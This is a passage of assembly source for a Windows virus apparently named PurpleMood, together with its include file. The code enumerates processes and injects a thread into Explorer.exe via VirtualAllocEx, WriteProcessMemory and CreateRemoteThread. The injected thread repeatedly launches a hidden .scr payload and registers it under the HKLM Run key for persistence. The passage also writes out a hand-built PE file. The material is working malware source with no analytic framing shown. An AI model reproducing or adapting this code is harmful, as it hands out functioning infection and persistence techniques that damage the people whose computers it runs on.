_CreateFile[ebx] or eax,eax jz CT_Exit xchg eax,esi lea edi,ByteWrite push 0 push edi push 200h ; 文件头<200h & FileAliagment=200h lea eax,[offset MDosStub+ebx] push eax push esi ;esi=hFile call _WriteFile[ebx] ;Write DosStub,NTHeader,SectionHeader push 0 push edi push VRAW_SIZE lea eax,[offset VStart+ebx] push eax push esi call _WriteFile[ebx] ;Write code and import tatle push esi call _CloseHandle[ebx] CT_Exit: popad ret CreatePE ENDP ;*************MonitorThread******************************** ;Enum所有活动进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr ;的运行和注册表的Run项. ;********************************************************** MonitorThread PROC MReloc : DWORD mov ebx , MReloc @pushsz 'PSAPI' call _LoadLibraryA[ebx] xchg eax,esi @pushsz 'EnumProcesses' push esi call _GetProcAddress[ebx] mov _EnumProcesses[ebx],eax @pushsz 'EnumProcessModules' push esi call _GetProcAddress[ebx] mov _EnumProcessModules[ebx],eax @pushsz 'GetModuleBaseNameA' push esi call _GetProcAddress[ebx] mov _GetModuleBaseNameA[ebx],eax lea esi,[offset procz + ebx] lea edi,[offset tmp + ebx] push edi push 128 push esi mov eax,12345678h _EnumProcesses = dword ptr $-4 call eax ;enumerate all running processes dec eax jne MT_Exit add esi,4 ;esi->ProcessIDs[128] p_search: lodsd ;get PID test eax,eax je MT_Exit call AnalyseProcess ;and try to infect it jmp p_search MT_Exit: ret 4 MonitorThread ENDP AnalyseProcess Proc pushad push eax ;process id push 0 push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION mov eax,12345678h _OpenProcess = dword ptr $-4 call eax ;PID -> handle or eax,eax jz AP_Exit mov hProcess[ebx],eax lea esi,[offset modz + ebx] lea ecx,[offset tmp + ebx] push ecx push 4 push esi push hProcess[ebx] mov eax,12345678h _EnumProcessModules = dword ptr $-4 call eax ;get first (main) module dec eax jne AP_Exit lodsd lea edi,[offset mod_name + ebx] push MAX_PATH push edi push eax push hProcess[ebx] mov eax,12345678h _GetModuleBaseNameA = dword ptr $-4 call eax ;get its name test eax,eax je AP_Exit @pushsz 'Explorer.exe' push edi call _lstrcmpi[ebx] jnz AP_Exit lea esi,[offset rtThreadStart + ebx] mov edi,rtThreadEnd - rtThreadStart push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push edi push 0 push 12345678h hProcess = dword ptr $-4 mov eax,12345678h _VirtualAllocEx = dword ptr $-4 call eax ;aloc there a memory test eax,eax je AP_Exit xchg eax,ebp push 0 push edi push esi push ebp push dword ptr [ebx + offset hProcess] mov eax,12345678h _WriteProcessMemory = dword ptr $-4 call eax ;write there our code dec eax jne AP_FreeMem xor edx,edx push edx push edx push edx push ebp push edx push edx push dword ptr hProcess[ebx] mov eax,12345678h _CreateRemoteThread = dword ptr $-4 call eax ;run remote thread! jmp AP_Exit ;important,i forgot first AP_FreeMem: push MEM_RELEASE push 0 push ebp push dword ptr hProcess[ebx] mov eax,12345678h _VirtualFreeEx = dword ptr $-4 call eax ;free memory AP_Exit : popad ret AnalyseProcess EndP procz dd 128 dup (?) dd ? modz dd ? mod_name db MAX_PATH dup (?) tmp dd ? rtThreadStart: call rtStart rtStart: pop ebx sub ebx , offset rtStart call rtInit rtWork: call MakeSCRAlive push 1000*60 mov eax , 12345678h _Sleep = dword ptr $ - 4 call eax jmp short rtWork rtInit: @pushsz 'shlwapi.dll' mov eax , 12345678h _LoadLibraryA = dword ptr $ - 4 call eax @pushsz 'SHSetValueA' push eax mov eax , 12345678h _GetProcAddress = dword ptr $ - 4 call eax mov _SHSetValueA[ebx],eax ret MakeSCRAlive: call @RT1 nGetProcAddress db 'GetProcAddress',0 @RT1: push FALSE push 1 mov eax , 12345678h _OpenMutex = dword ptr $ - 4 call eax xchg esi,eax .if esi == NULL jmp RunSCR .else push esi mov eax , 12345678h _ReleaseMutex = dword ptr $ - 4 call eax push esi mov eax , 12345678h _CloseHandle = dword ptr $ - 4 call eax jmp RegistSCR .endif RunSCR: push SW_HIDE call @RT2 szFilePath db 50 dup (0) @RT2: mov eax , 12345678h _WinExec = dword ptr $ - 4 call eax RegistSCR: lea eax,[offset szFilePath+ebx] push 12345678h SCRPathSize = dword ptr $-4 push eax push REG_SZ @pushsz 'PurpleMood' @pushsz 'Software\Microsoft\Windows\CurrentVersion\Run' push HKEY_LOCAL_MACHINE mov eax,12345679h _SHSetValueA = dword ptr $-4 call eax ;eax = SHSetValueA addr ret rtThreadEnd: ;*************Virus Data****************************** Signature db '紫色心情,你永远的期待',0 HostEntry dd 0 hKernel32 dd 0 szEXEPath db MAX_PATH dup (0) szFileName db '\PurpleMood.scr',0 FNameSize = $ - szFileName wfd WIN32_FIND_DATA <> ;*****************PE Data***************************** VImports: dd offset Kernel32_Pointers + @ dd -1,-1 dd offset Kernel32_Name + @ VIAT: dd offset Kernel32_Relocated + @ db 14 dup (0) Kernel32_Pointers dd offset Kernel32_Beep + @ , 0 Kernel32_Relocated dd offset Kernel32_Beep + @ , 0 Kernel32_Beep db ?,?,'MessageBoxA',0 Kernel32_Name db 'User32.dll',0 MDosStub: db 4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00 db 0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00 db 00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 db 00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00 db 50h,45h,00,00 MFileHeader: Machine dw 14Ch NumberOfSections dw 1 TimeDateStamp dd 3cbe5cc2h PointerToSymbolTable dd 0 NumberOfSymbols dd 0 SizeOfOptionalHeader dw 0e0h Characteristics dw 10fh MIMAGE_OPTIONAL_HEADER32: Magic dw 10bh MajorLinkerVersion db 5 MinorLinkerVersion db 12 SizeOfCode dd VRAW_SIZE SizeOfInitializedData dd 0 SizeOfUninitializedData dd 0 AddressOfEntryPoint dd 1000h BaseOfCode dd 1000h BaseOfData dd 3000h ImageBase dd 400000h SectionAlignment dd 1000h FileAlignment dd 200h MajorOperatingSystemVersion dw 4 MinorOperatingSystemVersion dw 0 MajorImageVersion dw 0 MinorImageVersion dw 0 MajorSubsystemVersion dw 4 MinorSubsystemVersion dw 0 Win32VersionValue dd 0 SizeOfImage dd 3000h;need to change st SizeOfHeaders dd 200h CheckSum dd 0 Subsystem dw 2 ;(Windows GUI) DllCharacteristics dw 0 SizeOfStackReserve dd 100000h SizeOfStackCommit dd 1000h SizeOfHeapReserve dd 100000h SizeOfHeapCommit dd 1000h LoaderFlags dd 0 NumberOfRvaAndSizes dd 10h DataDirectory dd 0,0 dd offset VImports+@,VIMPORT_SIZE dd 14h dup(0) dd offset VIAT + @,8 dd 0,0,0,0,0,0 MIMAGE_SECTION_HEADER: Name1 db '.xjs',0,0,0,0 VirtualSize dd offset VEnd - offset VStart VirtualAddress dd 1000h SizeOfRawData dd VRAW_SIZE PointerToRawData dd 200h PointerToRelocations dd 0 PointerToLinenumbers dd 0 NumberOfRelocations dw 0 NumberOfLinenumbers dw 0 Characteristic dd 0E0000020h VEnd: CODE ends end main ----------------------------------------------------------------------------- useful.inc include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib include \masm32\include\mpr.inc includelib \masm32\lib\mpr.lib include \masm32\include\wsock32.inc includelib \masm32\lib\WS2_32.LIB MIN_KERNEL_SEARCH_BASE EQU 70000000h @ EQU 1000h - offset VStart VIMPORT_SIZE EQU offset MDosStub - offset VImports VRAW_SIZE EQU 1024*7 ;=7k 了 :( FILE_HTM EQU 0 FILE_EXE EQU 1 FILE_ALL EQU 2 SIZEOF_VIRUS_FILE = 1024*7 + 512 ;FileHeader=512=200h @pushsz MACRO str LOCAL next call next db str,0 next: ENDM |